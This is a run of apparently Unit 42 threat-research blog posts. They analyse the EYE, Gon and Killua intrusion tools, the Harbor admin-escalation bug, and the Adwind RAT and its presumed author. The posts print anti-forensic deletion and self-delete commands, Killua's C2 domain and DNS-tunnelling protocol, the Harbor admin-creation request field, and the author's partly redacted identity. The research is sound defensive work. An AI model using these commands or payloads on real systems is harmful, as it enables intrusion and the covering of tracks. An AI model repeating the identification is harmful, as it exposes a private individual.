EYE is a post-exploitation tool first observed in May 2019. However, it contains a Windows Portable Executable (PE) compile time of January 21, 2019. The purpose of this tool is to evade detection by allowing the actor to cover up their activities while they are logged into the compromised system in the event that a legitimate user attempts to log in to the system. Unlike Hisoka, which monitors for local logins and RDP sessions and subsequently logs them to the registry for later exfiltration, EYE monitors for these logins to kill the processes and delete registry keys and files created during the actor’s session.

When the user runs the EYE application, it requires the user to enter a "y" for yes or "n" for no in a setting called "Log off mode". 

Choose -> Log off Mode  ? :

[y]

[n]

Regardless of the user's input, EYE will start monitoring for inbound login attempts initiated locally or by remote RDP sessions. It will first display the version number "v0.1" followed by ASCII art of an unknown picture. Immediately following the ASCII art display, the tool will write messages to the console indicating that it is starting to watch for inbound login attempts followed by a list of processes created since the actor executed the EYE tool. Figure 12 shows the output of the EYE tool from our testing, which shows several processes created (calc, SnippingTool, etc.) while EYE was running until a local login attempt occurred.

Figure 12. EYE Process names and IDs seen during the actors session prior to inbound login attempts

When the local or RDP login attempt occurs, EYE will write the unique string “we be wait for you boss !!!” to the console before starting to clean up the actor’s tracks. To clean up, EYE will terminate all processes created since the actor started the EYE tool, which effectively closes all applications and tools created by the actor. EYE will then delete all recent documents and files created from jump list usage by running the following command:

Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\* & Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\* & Del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*

EYE will also delete all values found in the following registry keys and the ‘Default.rdp’ file in the user’s folder to cover up the actor’s activity on the system and any RDP sessions opened from the system:

Software\\Microsoft\\Terminal Server Client\\Default

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TYPEDPATHS

Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU

EYE will finish by attempting to delete itself from the system by running the following command:

taskkill /f /im <EYE’s executable filename> & choice /C Y /N /D Y /T 3 & Del "<path to EYE’s executable>"

EYE does contain some interesting artifacts such as the presence of the 'ExecuteCommand' method that is never used or called. The presence of this method suggests it is either leftover code from a previous version or an artifact from another codebase that this tool is based on. We believe EYE was created using the code of Hisoka and Sakabota, as there are significant overlaps in method and variable names, as well as a reference to Sakabota in the PDB debug path:

Z:\TOOLS\Sakabota_Tools\Utility\Micosoft_Visual_Studio_2010_Experss\PRJT\Sync\Sakabota\EYE\EYE\obj\Release\EYE.pdb

Gon

The Gon tool was also first observed in May 2019 and contains a variety of functionality. The majority of this functionality indicates that it would likely be used as a post-exploitation tool to help an actor carry out activities after gaining access to a system. 

Gon provides an actor with the ability to scan for open ports on remote systems, upload and download files, take screenshots, find other systems on the network, run commands on remote systems using WMI or PSEXEC and create an RDP session using the plink utility. Gon can be used as a command-line utility or as a desktop application using the provided GUI. Using the GUI, Gon can use the “dsquery” tool embedded within it to issue the following commands to obtain computer, user and group names from an active directory:

DS.exe computer -limit 0 > computer_DS.txt

DS.exe user -limit 0 > Users_DS.txt

DS.exe group -limit 0 > Group_DS.txt

When using the command-line, an actor can easily see what functionality exists with Gon as the "-help" command provides a usage output that resembles the following:

Figure 13. Command-line output for Gon functionality

To use the GUI, Gon requires the user to enter the password "92" in order to use the utility. After entering the correct password, the user is presented with a UI that has an edited image of the Gon and Killua characters from the Hunter x Hunter anime, as seen in Figure 14. 

Figure 14. Gon’s Graphical User Interface showing a modified image of the Hunter x Hunter characters Gon and Killua

The GUI contains the same functionality as the command-line option, but also contains a button to enable "Personal Use". This option disables a timer that will hide the Gon GUI window if the user does not have their cursor within the GUI for 80 seconds (800ms timer interval, checked 100 times). 

When using the scanning functionality, Gon will write results to <working directory>\wnix\Scan_Result.txt with contents such as:

172.16.107[.]140[WIN-<redacted>] --> SMB

**************Sakabota_v0.2.0.0*****2019-06-14|#|13:32************** 

There are significant code overlaps between Gon and Sakabota/Hisoka as well, which suggests the same developer is involved in its development. 

Killua 

We observed yet another tool installed at the second Kuwait organization that we believe was created by the author of Hisoka. This tool is referred to as Killua by the author, which is the name of another character in the Hunter x Hunter anime. Killua functions as a backdoor similar to Hisoka, but unlike its Hisoka cousin, Killua was not developed in C# -- rather it was coded in Visual C++. Killua also appears to be newer than known Hisoka samples as Killua samples were not compiled until June 25 and 30, 2019. Similar to Hisoka, Killua writes its configuration to the registry using the following registry keys:

HKCU\Control Panel\International\_ID: <unique identifier>

HKCU\Control Panel\International\_EndPoint: "learn-service[.]com"

HKCU\Control Panel\International\_Resolver_Server: " "

HKCU\Control Panel\International\_Response: "180"

HKCU\Control Panel\International\_Step: "3"

Killua uses DNS tunneling to communicate with its C2 server and can only use DNS queries for tunneling using the built-in "nslookup" tool, which is the same method of sending DNS queries as Hisoka. Killua begins this communication by issuing an initial beacon query using a unique identifier for the compromised system as the subdomain. During our analysis, we observed the unique identifier "EVcmmi", which base64 decodes to “Result goes here”. This action results in a beacon that queried the following domain:

EVcmmi.learn-service[.]com

During our analysis, the DNS server responded back with "66.92.110[.]4". In this response, the first three octets signal Killua to begin sending additional queries in order to receive commands from the C2 DNS server. It will send these commands within IPv4 answers to the queries. The fourth octet is used to determine how many DNS queries it needs to issue in order to receive the entirety of the data from the C2 server. In the case of "66.92.110[.]4", this instructed Killua to issue four queries to receive four IPv4 addresses within the answers provided by the C2 DNS server.

The four DNS queries issued by the DNS server started with the unique identifier "EVcmmi" and is then followed by base64 encoded data as follows:

EVcmmiYg==.learn-service[.]com

EVcmmiYA==.learn-service[.]com

EVcmmiYQ==.learn-service[.]com

EVcmmiZw==.learn-service[.]com

At first, we believed that the subdomains containing the equals “=” characters would not resolve. However, we learned that DNS servers will respond to queries for domains that have labels containing non-standard characters. Before base64 encoding the data, Killua encrypted the cleartext by XOR'ing each character with 83 (0x53), resulting in the following:

"Yg==" is 1

"YA==" is 3

"YQ==" is 2

"Zw==" is 4

The decrypted numbers above are the sequence numbers used to get the chunks of data requested by the C2 server. During our analysis, the C2 server responded to these queries with the following IPv4 addresses:

69.67.1[.]81

73.43.3[.]79

55.80.2[.]68

103.61.4[.]61

As you can see, the third octet contains the sequence number, while the other octets contain the data that Killua will put in the correct sequence and treat as data. If we put the IP addresses in the correct sequence according to the third octet and treat the other three octets as characters, we get the following:

69.67.1[.]81 is "ECQ"

55.80.2[.]68 is "7PD"

73.43.3[.]79 is "I+O"

103.61.4[.]61 is "g=="

By decoding the base64 string and decrypting it by XOR'ing each byte with 0x53, we can see the C2 server is issuing a command "C" followed by data "whoami":

>>> out = ""

>>> for c in base64.b64decode("ECQ7PDI+Og=="):

...  out += chr(ord(c)^0x53)

... 

>>> out

'Cwhoami'

The command "C" is the same character used by Hisoka when attempting to receive commands to execute on the system. If the character immediately following the "C" is not a hyphen ("-"), then Killua will execute the data as a command by calling CreateProcessW using "cmd /c" with the data appended to this string. Otherwise, Killua will check for provided commands that visually resemble the following command line switches:

-R

-doer

-S

-status

-change

-id

-resolver

-help

The "-help" switch provides the following usage instructions which provide insight into the switches available and their purpose:

+-+-+-+Killua-+-+-+-+

-change [HOST.com]  ****** Change endPoint

-doer ;[command] ****** Executer

-status  ****** info

-resolver [8.8.8.8]  ****** Resolver

-R[num]s  ****** Response

-P[num]  ****** packect

-id [SIXLTR]  ****** ID

 

Table View of the Link Analysis Chart

Date Observed Domain IP Address Campaign ID
2/15/17 ns1.cloudservername[.]com 82.102.14[.]226 DNS Hijacking
6/1/17 microsoft-publisher[.]com 82.102.14[.]222 ISM Agent
11/29/17 ns1.ressume[.]site 82.102.14[.]222 Oilrig
12/29/17 ns2.pasta58[.]com 82.102.14[.]227 Sakabota
1/14/18 dns.cloudipnameserver[.]com 185.15.247[.]140 DNS Hijacking
9/9/18 sakabota[.]com 185.15.247[.]140 Sakabota
9/18/18 ns1.firewallsupports[.]com 213.202.217[.]4 Sakabota
11/18/18 googie[.]email 213.202.217[.]9 Oilrig
5/11/18 whatzapps[.]net 217.79.176[.]97 Oilrig
9/8/18 ns1.windows-updates[.]com 217.79.176[.]104 Sakabota
9/18/18 ns1.6google[.]com 217.79.176[.]104 Sakabota
2/19/19 ns1.windows64x[.]com 217.79.183[.]50 Sakabota
3/5/19 ns1.microsofte-update[.]com 217.79.183[.]53 Hisoka
3/20/19 ns1.windows64x.com 217.79.183[.]58 Sakabota
1/9/18 www.opendns-server[.]com 217.79.185[.]85 Oilrig
1/11/18 ns1.windows-updates[.]com 217.79.185[.]90 Sakabota
2/19/18 dns.msnconnection[.]com 217.79.185[.]65 Oilrig
10/13/18 ns1.6google[.]com 217.79.185[.]75 Sakabota
1/9/18 outl00k[.]net 74.91.19[.]118 MuddyWater
10/31/18 ns1.pasta58[.]com 74.91.19[.]113 Sakabota
11/9/18 pasta58[.]com 74.91.19[.]113 Sakabota
12/27/18 www.microsofte-update[.]com 74.91.19[.]119 Hisoka
4/7/19 ns1.microsofte-update[.]com 91.132.139[.]183 Hisoka
5/6/19 ns1.alforatsystem[.]com 91.132.139[.]254 Sakabota

Table 3. Infrastructure Analysis for Sakabota and Hisoka domains

 

Critical Vulnerability in Harbor Enables Privilege Escalation from Zero to Admin (CVE-2019-16097)

Posted on by Aviv Sasson

Executive Summary

Aviv Sasson, a security researcher from the cloud division of Unit 42, has identified a critical vulnerability in a widespread cloud native registry called Harbor. The vulnerability allows attackers to take over Harbor registries by sending them a malicious request.

The maintainers of Harbor released a patch that closes this critical security hole. Versions 1.7.6 and 1.8.3 include this fix.

Unit 42 has found 1,300 Harbor registries open to the internet with vulnerable default settings, which are currently at risk until they’re updated.

Background

As part of our initiative to contribute to and improve Cloud Native Computing Foundation
(CNCF) projects, I recently looked at the Harbor project. I found a critical privilege escalation vulnerability that allows anyone to gain admin permissions under its default settings. The vulnerability had been assigned CVE-2019-16097, which was made public on September 10.

Harbor is an open source cloud native registry that stores, signs and scan images for vulnerabilities. Harbor integrates with Docker Hub, Docker Registry, Google Container Registry and other registries. It provides a simple GUI that allows users to download, upload and scan images according to their permissions.

The Harbor project has been gradually growing in popularity over the last four years and became a CNCF incubating project last November. Harbor includes many notable sponsors and companies within its adopters page.

Figure 1. Officially recognized users and partners of Harbor

Vulnerability Impact

The implications of this vulnerability are serious. There are many attack vectors that can be initiated after gaining admin permissions. The attacker can download all of the private projects and inspect them. They can delete all of the images in the registry or, even worse, poison the registry by replacing its images with their own. The attacker can create a new user and set it to be admin. After that, they can connect to Harbor registry via the Docker command line tool with the new credentials and replace the current images with anything they desire. These can include malware, crypto miners or even worse.

Video 1. Proof of Concept exploitation of the vulnerability

Online Instances

I understood that the problem was severe and wanted to check how many instances are online. In my scan, I found 2,500 Harbors online. I ran a specified script I wrote to assess how many of these instances are vulnerable. The data that I found was that 1,300 registries of those instances are vulnerable.

The Vulnerability

Let’s go over everything. First, let’s examine the ‘User’ struct.

Figure 2. User struct in Harbor source code

The parameter that we want to target is HasAdminRole. It indicates if the user is an admin or not. If we are able to change it into “True”, then we won.

How can we do that?

If we take a look at the API calls, we can see this interesting call that happens if someone tries to access “/api/users”.

Figure 3. /api/users route

If the user sends a POST request, then it will lead to this piece of code that’s in charge of the registration of the new users.

Figure 4. POST request handling logic

The vulnerability is in user.go:317.

if err := ua.DecodeJSONReq(&user); err != nil

In this line of code, we take the data from the post request and decode it into a user object.

A normal request payload will look like this:

{"username":"test","email":"test123@gmai.com","realname":"no name","password":"Password1\u0021","comment":null}

The problem is that we can send a request and add the parameter “has_admin_role”.

If we send the same request with “has_admin_role” = True, then the user that will be created will be an admin. It’s as simple as that.

Exploitation

I wrote a simple Python script that sends a post request to /api/users in order to create a new user with admin privileges, by setting the “has_admin_role” parameter in the request body to True. After running this script, all we need to do is to open Harbor in the browser and just sign in to the user we created. 

Disclosure Process

While I was assessing this vulnerability’s impact and preparing to responsibly disclose it, the Harbor developers released a commit that includes a fix to this particular vulnerability to the master branch on GitHub. I helped Harbor recognize this is a critical security vulnerability and the CVE assignment. I urged them to publish a new release as fast as possible and their engineers promptly did so.

Mitigation

The Harbor team released the patch to address this issue. The patch went public in a pull request by one of the maintainers, and only later included in Harbor versions 1.7.6 and 1.8.3, which were released on September 18. The release notes mention it resolves the issue with “Disallow creating an admin user when registration”.

The developers added a check that prevents non-admin users from creating a new admin user.

The vulnerability exists in versions 1.7.0 - 1.8.2 and I recommend all users to update their Harbor installations immediately because this vulnerability is critical and gives anyone full access to their registry.

Am I Vulnerable?

If you have a Harbor instance with an out-of-date version, you should take immediate action to update it or at the very least block its connection to the internet. To check if you have been hacked, look for any unrecognized users with admin privileges in your Harbor instance. It’s possible that attackers may have removed the users used in the attack, which would make case detection a more complicated matter — but a spot check at the very least is recommended.

 

The Legend of Adwind: A Commodity RAT Saga in Eight Parts

Posted on by Unit 42

Executive Summary

In early 2012, a developer started selling the first of the Adwind family, Java-based remote access tools (RATs), called “Frutas.” In the ensuing years, it has been rebranded at least seven times. Its other names have included Adwind, UnReCoM, Alien Spy, JSocket, JBifrost, UnknownRat, and JConnectPro.

The Adwind RAT family remains prevalent in the wild. Palo Alto Networks has collected over 45,000 samples from the various Adwind iterations. We have observed these samples used in over 2 million attacks against Palo Alto Networks customers since 2017, highlighting the high impact of this popular commodity RAT.

The first six iterations of the multi-platform Adwind RAT family have been exhaustively documented, so we will not rehash analysis of the RAT itself. This piece describes two hitherto undocumented recent rebrandings: “Unknown RAT” and “jConnect Pro RAT and clarifies some misconceptions. We have identified the author of this commodity malware, demonstrating that ownership of this RAT under its various monikers never actually changed.

This blog post documents Adwind RAT family’s beginning as an alleged science project, evolution to become widely available commodity malware, and eventual refinement into a private sale to what appears to be a closed customer base. By developing a technique to isolate cracked versions from licensed samples, we have documented the impact of the availability of free, cracked versions, and identified researcher reporting as a repeated catalyst to recent rebranding.

A RAT Is Born

On January 11, 2012, Spanish-language indetectables[.]net forum user “adwind” posts about his new “Frutas Rat” project, seen in Figures 1 and 2. A Google translation of the text follows Figure 1.

Figure 1. Adwind announces "Frutas"

“Fruits Rat [Java] Src Project [Reverse Connection]…
This is a project that starts yesterday jejeje I upload it for the curious, this project I will continue little by little because I try to do everything myself. Without using 3rd codes
I use Netbeans as an IDE.
Do not ask me why the name of the RAT XD”

Figure 2. Frutas RAT

Through 2012, he released several updates to Frutas. By December 2012, Adwind had rebranded the free Frutas as the paid “Adwind RAT.”

Rebrand

From early 2013, the renamed Adwind RAT was sold at adwind[.]com[.]mx, shown in Figures 3 and 4 below.

Figure 3. adwind[.]com[.]mx 2013

.Figure 4. Adwind RAT version 2

On October 5, 2013, Adwind released “V3.0” and claimed that he would be turning the RAT over to “others,” who would also rename the RAT, shown in Figure 5. A Google translation of the text follows the figure.

Figure 5. Adwind claims a change of ownership

“Well many know or not but the project already I it will not handle, it will be others that will be called by another name.”

Adwind also states:

“You judge if it is better than the JRAT :D”

Some researchers have claimed that JRAT and the Adwind RAT family are related. While JRAT is a Java RAT, we have determined it is completely different and written by a different author.

So, why this rebrand? Although we suspect other reasons for renaming in later iterations of this RAT family, it seems that in this case at least, Adwind’s author is specifically trying to distance his identity from continued development and sale of this malware. He may have feared – correctly – that an operational security (OpSec) fail on his part with his Adwind identity might expose his identity and ownership.

UnReCoM RAT

A week after Adwind’s “change of ownership” announcement, on October 12, 2013, The domain unrecom[.]net was registered. This site sold the next Adwind family rebrand, “Universal Remote Control Multi Platform” (UnRemCoM) RAT. The ostensible new management is named at the site as “UnReCom Soft” and elsewhere as “Lustrosoft.” Figure 6 shows connections to victims in the United States, Spain, and Mexico.

https://web.archive.org/web/20131125010330im_/http:/unrecom.net/images/yootheme/demo/default/slideshow/1.pngFigure 6. UnReCoM RAT

The site offered a monthly subscription option as well as the ability to purchase the software outright, shown in Figure 7. Some researchers have suggested that this is a “malware as a service” (MaaS) model. However, while commodity malware is often licensed monthly, it isn’t really “as a service” – the user is still wholly responsible for the RAT stub building, C2, “crypting” (stub encryption), and spreading/infection. In contrast, the Webmonitor RAT offered a C2 service that is closer to a MaaS definition.

Figure 7. UnReCoM purchase options

The site boasted the multi-platform RAT client availability, listing Windows XP through 8.1, Mac, Linux, and Android:

“UNRECOM is the only software in the world to take control of all operating systems in one place.. You will have full control of your devices in one place.”

It also disavowed itself as malware, utilizing bizarre logic:

“Unrecom is a malware?

Not, you need install software in both devices for work.”

Alien Spy

Alienspy[.]net was registered June 7, 2014. The reason for this rebrand is unknown. It may be that the author deliberately wanted to circumvent having to honor outstanding purchases/subscriptions and created a “new” software to be purchased instead. Alternatively, it might be to avoid reputation issues – complaints about various iterations of the Adwind family, lack of support, and dishonoring of purchases are common on forums:

“Alienspy is NO GOOD, it is the worst RAT ever, don't be fooled, the owner needs a lot of money, he cdan make you buy and destroy HWIDS to make you keep purchasing the software, alienspy works sometimes,not all the time, and have an issues with stability, but the owner is very hungry for cash so watch it, he changed the name of several RATs he created and took many people money, do not trust...”

A customer testimonial proudly featured at the site belies any claim of the software’s use as a legitimate administration tool, shown in Figure 8 below.

Figure 8. Testimonial

On April 8, 2015, Fidelis released a report on Alien Spy. By the end of April, the domain for the next Adwind family rebrand had been registered, and the registrar had suspended alienspy[.]net. The motivation for this rebrand was quite obvious, although it seems the author didn’t lose the opportunity to profit from it:

“i was client of alienspy and bought 1 year member but the rat get suspended before my member expire and when i try to get same discount in the new jsocket i get nothing from the support not even answer to me”

The continuity between these rebrands is apparent in the Skype profile for Alien Spy, shown below in Figure 9.

Figure 9. Alien Spy Skype profile

JSocket

The domain for this next rebrand, jsocket[.]org, was registered April 20, 2015 – 12 days after the Fidelis report. As of August 2019, it was still registered, although the domain hasn’t resolved to an active website since early 2016.

Figure 10 shows some noticeable similarities between this site and its predecessor.

A screenshot of a cell phone Description automatically generatedFigure 10. Comparison of alienspy[.]net and jsocket[.]org sites

In February 2016, unsubstantiated rumors that the Adwind author had been arrested circulated on forums.

On February 8, 2016, Kaspersky published a report on JSocket.

JBifrost

Our actor again responded quickly to the publication of the Kaspersky research on February 8, 2016. A new domain, jbifrost[.]com, was registered just two days later, on February 10, and jsocket[.]org, after replacing their website with a claim of spamming users being banned and legal issues, ceased to resolve after February 13, 2016.

Image result for "jbifrost"Figure 11. JBifrost RAT logo

This incarnation of the site seemed to drop the loud public advertising in favor of a members-only private site with forums, sales, and chat.

The website was reported to have been suspended by the ISP in late-June 2016, and Fortinet published research into jBifrost on August 16, 2016.

Unknow(n) RAT

The actor appears to have taken a little longer in re-establishing his site after the jbifrost[.]com suspension. Unknowsoft[.]com was registered August 2, 2016, about a month after jbifrost[.]com was suspended during summer 2016. Again, this site supported a private members area rather than loud, public advertising.

Figure 12. Unknown RAT logo

The logo used for this rebrand, seen in Figure 12, is essentially unchanged from that of the previous jBifrost, shown in Figure 11, which wouldn’t be expected had this business actually changed hands and truly rebranded.

The site was parked by the registrar August 4, 2017 and expired in December 2017. The registrar had previously suspended the site in late-September 2016, but the registration of Unknow(n) RAT’s successor domain in December 2016 sets our milestone for the transition to the next rebranding.

jConnectPro

The last known possible website for the Adwind family, jconnectpro[.]info, was registered on December 10, 2016.

The site helpfully documented the connection and evolution of the malware family, shown in Figure 13.

“AlineSpy >> jSocket >> jBifrost >> UnknownSoftware >> jConnectPro”

Figure 13. jconnectpro[.]info

The jConnect Pro site seen in Figure 13 bore an obvious similarity to the previous Unknown RAT site as shown in Figure 14. The site was suspended by the ISP in early April 2017.

It is possible that jconnectpro[.]info was NOT run by Adwind but rather was an imposter, selling a cracked version of Unknown RAT. Prior to ISP suspension, the Unknown RAT site unknowsoft[.]com posted an announcement that they were not taking any new customers, though the software would still operate, shown in Figure 14.

“Unkonown Software is currently unavailable

Not new users or renews in this moment. You can continue to use our software but you will not be allowed to login in our website.

Each membership of users will continue active until this expire.

Enjoy! And Good luck for ever.

Mastermind Team. We can just say good bay for ever.

We finished our work here since our software was selled to other team of developers. I don’t know if they will continue or not. But we will try to update stub for currents users with active memberships.”

A litany of complaints against purported fakes and scammers followed. Of special note:

“http://jconnectpro[.]info – a FAKE”

The timeline of RAT rebrand names at the site contains capitalizations in the names that differ from the original sites.

https://www.siteshotter.com/website-thumbnail/unknowsoft.com_mediumFigure 14. Unknown Software "unavailable"

A Cryptic Puzzle

After unknownsoft[.]com and jconnectpro[.]info went down, Adwind’s trail went cold. Although this time we were unable to find a newly rebranded iteration of Adwind’s RAT, we did find a Java-RAT-specific crypting service.

Malware operators use a technique known as “crypting” to avoid signature-based antivirus detection. Crypting will modify malware binary files such that they have a new, unique hash value, without altering their functionality. Such files are often referred to as “fully undetectable” (FUD).

There are comparatively few Java-specific commodity RATs, and this crypting service seemed to adopt UnknownRAT’s name in its branding – UnknownCrypter (unknowncrypter[.]co) (Figure 15).

[Image: MFcmqy.png]Figure 15. UnknownCrypter

Initial investigation uncovered some Spanish-language artifacts associated with UnknownCrypter. We wondered if Adwind might be leveraging his Java coding expertise and operating this system himself as a second revenue stream alongside his RAT.

However, our research determined that this was simply a rebranding of the “FUDCrypter” service, operated by a Nigerian individual, not Adwind.

In our SilverTerrier research of Nigerian cybercrime, we note an increase in the popularity of commodity RATs among that community. Indeed, our research into leaked customer lists of commodity malware has shown that the vast majority of the customers are Nigerian. We also observed a burgeoning Nigerian ecosystem around the various aspects of cybercrime, and so a Nigerian-based crypting service should not come as a surprise.

Further confirming our conclusion that this is not operated by Adwind, the same actor recently launched his own JavaScript-based RAT called “WSH RAT” with a very different codebase – a competitor to Adwind rather than a new iteration of Adwind’s RAT.

Cracked

Although Adwind apparently no longer sells his RAT on the web or on forums, the question remains: what of all the ongoing Adwind-family telemetry do we continue to observe?

Cracked copies of Adwind-family malware have been in circulation for several years, through to cracked versions of Unknown RAT as seen in Figure 16.

Figure 16. Cracked Unknown RAT

We first observed Adwind-family samples add a registry entry for the BullGuard binary “LittleHook.exe” into their anti-antimalware routine on December 5, 2016. This corresponds closely with the ostensible rebranding to jConnectPro, with that domain being registered only five days later.

Although we noted earlier that jconnectpro[.]info may potentially not actually belong to Adwind, we are able to use this marker to differentiate between “legitimate” and cracked Adwind samples. All known cracked versions of Unknown RAT predate the above-observed branding and domain change.

Since December 2016, we have collected 14,000 “legitimate” samples, observed in over 600,000 attacks against Palo Alto Networks customers. Cracked versions of earlier Adwind family RATs seem to be twice as common. During the same period, we found almost 30,000 Adwind samples that did not contain that marker, observed in over 1.3 million attacks against Palo Alto Networks customers.

Gone Dark?

As we noted earlier, the jConnectPro website was suspended in early April 2017. Unknownsoft[.]com had an “unavailable” statement at the site, ISP suspensions from 2016, and was finally parked mid-2017. Unlike previous rebranding, there was no handoff to a new brand as we had observed earlier, via website, Skype, forum, or reports of emails to customers. There was no “new Adwind” advertising on forums. This begged the question: Has Adwind finally closed up shop? Is the ongoing Adwind telemetry simply observing cracked versions and legacy legitimate samples continuing to be deployed?

We found that Adwind samples first started setting the registry key “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\debugger , Value:svchost.exe , Type:1” in samples starting June 5, 2017. This was two months after the jConnectPro website was suspended, and Unknown Software was “unavailable” and the site suspended – the first proof of ongoing development of the RAT subsequent to having gone dark.

We noted some other small changes in file writes in samples around this date, but we have not been able to identify any other new functionality in samples observed since June 2017. Samples with these markers continue to be observed in the active attacks through September 2019.

A Tale Is Woven

Our analysis of Adwind’s infrastructure throughout the different brands of his RAT found uncommonly good operational security (OpSec) on his part. WHOIS records were fake and/or anonymized. Domain registrars and hosting services were distinctly changed with every rebrand. Infrastructure was not reused. No careless connections to other activity that might hint at Adwind’s identity were found.

Having analyzed thousands of actors and their infrastructure, such consistently good OpSec is a rarity. Adwind attempted not only to hide his identity but, fearing discovery and in order to distance himself from issues with bad reputation, also attempted to suggest a change of ownership.

In his attempt to misdirect identification and pretend to have on-sold his business, Adwind inadvertently left a pattern in his OpSec. The very consistency of his OpSec itself is an indicator of it remaining under his control during its entire history.

Despite the renaming, the RAT itself really didn’t change significantly over its lifetime. Some new functionality was added, but improvements were essentially iterative. No significant changes were noted, as might be expected with a new owner/coder, and Java commodity RATs remain comparatively rare.

Care was always taken to ensure a continuity between brands for his customers; the new brand was noted in forums on the old website, in his Skype profiles (Figure 9), and in emails to existing customers – more care than might be expected if it was on-sold to a third party.

Domain moves were always seamless, and rebrands were, on several occasions, clearly triggered by the publishing of research (Figure 17). Even after the claimed “sale,” UnReCom still had predominant Mexico hosts in screenshots (Figure 6).

A screenshot of a social media post Description automatically generatedFigure 17. Timeline of the Adwind RAT family

Stylistic similarities bridged the different RAT brands – logos (Figures 11 and 12), site content (Figures 13 and 14) and also as seen above in the jSocket section. In fact, the only “rebrand” that carries doubt that it actually belonged to Adwind was jconnectpro[.]info – the timeline has the “unavailable” unknownsoft[.]com overlapping the same timeframe and calls jconnectpro[.]info “a FAKE”.

Who Is ‘Adwind’?

As we noted earlier, Adwind has uncommonly good OpSec, and initially, conclusively identifying him through his infrastructure wasn’t possible.

Spanish-language artifacts were obvious early on. The original website selling Adwind was adwind[.]com[.]mx, and several YouTube videos and screenshots showed a predominance of Mexican host computers (Figure 18).

Figure 18. Mexican host computers in YouTube advertising

The email address adwind[at]live.com is found in the strings of Frutas samples (Figure 19) and was referenced at a YouTube video promoting Adwind 1.0.

Figure 19. Frutas strings

This email address is associated with a Skype profile “adwindandres” (Figure 20), which includes the Adwind logo.

Figure 20. Skype profile

That Skype profile was also used at hackforums[.]net to sell early versions of Adwind RAT. It was also the Skype listed at the original Adwind website (Figures 3 and 21).

Figure 21. Original Adwind site Skype

The same email address is also found in an academic paper, with the same name “Andres” as noted in the Skype:

“C. M. Andrés is a student from J█████ Autonomous University of T██████ in Mexico in the last semester of the degree in computer systems; (email: adwind [at]live.com).”

Elsewhere the paper mentions his full name.

The very first historical WHOIS entry for adwind[.]com[.]mx contained a full name and location, which matches the name and location in the academic paper. The WHOIS record was changed to fake information shortly thereafter.

Name: Andres A█████ C████████ M█████

City: C███████

State: T██████

Country: Mexico

The full name of Adwind Andrés appears to be unique. Research uncovered other references to him studying information systems at that university.

It also led to his Google Maps reviewer profile (Figure 22). The 4,000+ reviews in that profile, including up until a few weeks prior to publication of this blog post, suggest that Adwind Andrés now resides in C██████, Mexico – a few hours drive from his university.

Figure 22. Google Maps reviews

A Never-Ending Story?

The ready availability of commodity malware empowers a huge population of unsophisticated threat actors, who would otherwise lack the technical ability to code their own malware. Although the author might not financially benefit from the spread of cracked versions of the malware, the author is, after all, responsible for its original existence.

Distributed since 2012, sale of the Adwind RAT family has resulted in tens of thousands of malware samples in the wild and millions of malware attacks.

Over the last eight years, Adwind Andrés has unsuccessfully attempted to hide his identity as the author of this malware and distance himself using successive rebrands.

As he has iteratively continued to improve upon his software, it would seem that he has been driven into a private-customer model. However, to this day, he continues to develop this software, and profit from its sale to malware actors.

Organizations with good spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects the Adwind RAT family malware with WildFire and Traps. AutoFocus users can track this activity using the Adwind tag.

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Unit 42 Named Top Zero-Day Vulnerability Contributor by Microsoft

Posted on by John Harrison

This piece was originally published August 16 on the Palo Alto Networks blog.

Palo Alto Networks is proud that Microsoft has recognized our Unit 42 global threat intelligence team with multiple awards for its contributions to vulnerability research, including first place for discovery of Zero Day vulnerabilities. Microsoft also recognized Unit 42 researchers Gal De Leon and Bar Lahav in its annual list of the Most Valuable Security Researchers.

Unit 42, which also won third place for “Vulnerability Top Contributor,” was the only research group to win in two categories at this year’s Microsoft Active Protections Program (MAPP) Contributing Partners awards.

“It’s an honor to be recognized by the MSRC team for responsibly disclosing these vulnerabilities to Microsoft and providing information needed to develop patches and protect customers,” Gal De Leon said.

Unit 42 researcher Gal De Leon

Unit 42 reported 27 zero-day vulnerabilities to Microsoft from July 1, 2018, to June 30, 2019.  They include a Zero-Day local privilege escalation vulnerability in the Windows Error Reporting component, which was exploited in the wild. We discussed that vulnerability in a July 2 technical blog, Tale of a Windows Error Reporting Zero-Day (CVE-2019-0863)

Zero-Day vulnerabilities are exploitable flaws in the code of legitimate applications and operating systems that haven’t previously been publicly disclosed.  They can be exploited by threat actors to launch attacks which are much tougher for organizations to protect against, even when they are using up-to-date security tools.

Unit 42 is thrilled that its researchers were acknowledged by the Microsoft Security Response Center (MSRC) “Most Valuable Security Researchers” program for a fourth consecutive year

We salute all 75 researchers who were honored at this year’s awards, which were presented during the Black Hat conference in Las Vegas.

Microsoft looks at the volume of vulnerability reports as well as their impact and accuracy when deciding who to recognize, according to Sylvie Liu, security program manager for MSRC Community Programs.

Palo Alto Networks has identified more than 200 vulnerabilities in the ecosystems of vendors including Adobe, Apple, Google Android and Microsoft.

By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons that attackers use to threaten organizations. Palo Alto Networks is a key participant in the Microsoft Active Protections Program, which provides early access to vulnerability information so that we can provide proactive protection to customers through Next Generation Firewall Threat Prevention Security Services subscriptions and Traps Advanced Endpoint Protection.

Unit 42 reports on zero-day vulnerabilities and other threats are available on its threat research blog.

 

Gaining Persistency on Vulnerable Lambdas

Posted on by Unit 42

Serverless Security

AWS Lambda was released in 2014 and introduced a new cloud execution model – serverless computing, which is now widely adopted. Since then, numerous companies began offering security solutions for AWS Lambda and serverless computing in general. These security platforms commonly provide:

  • Vulnerability Scanning – Ensuring that your code doesn’t contain any known vulnerabilities (‘one-days’).
  • Runtime Protection – Preventing exploitation of zero-day vulnerabilities in production.

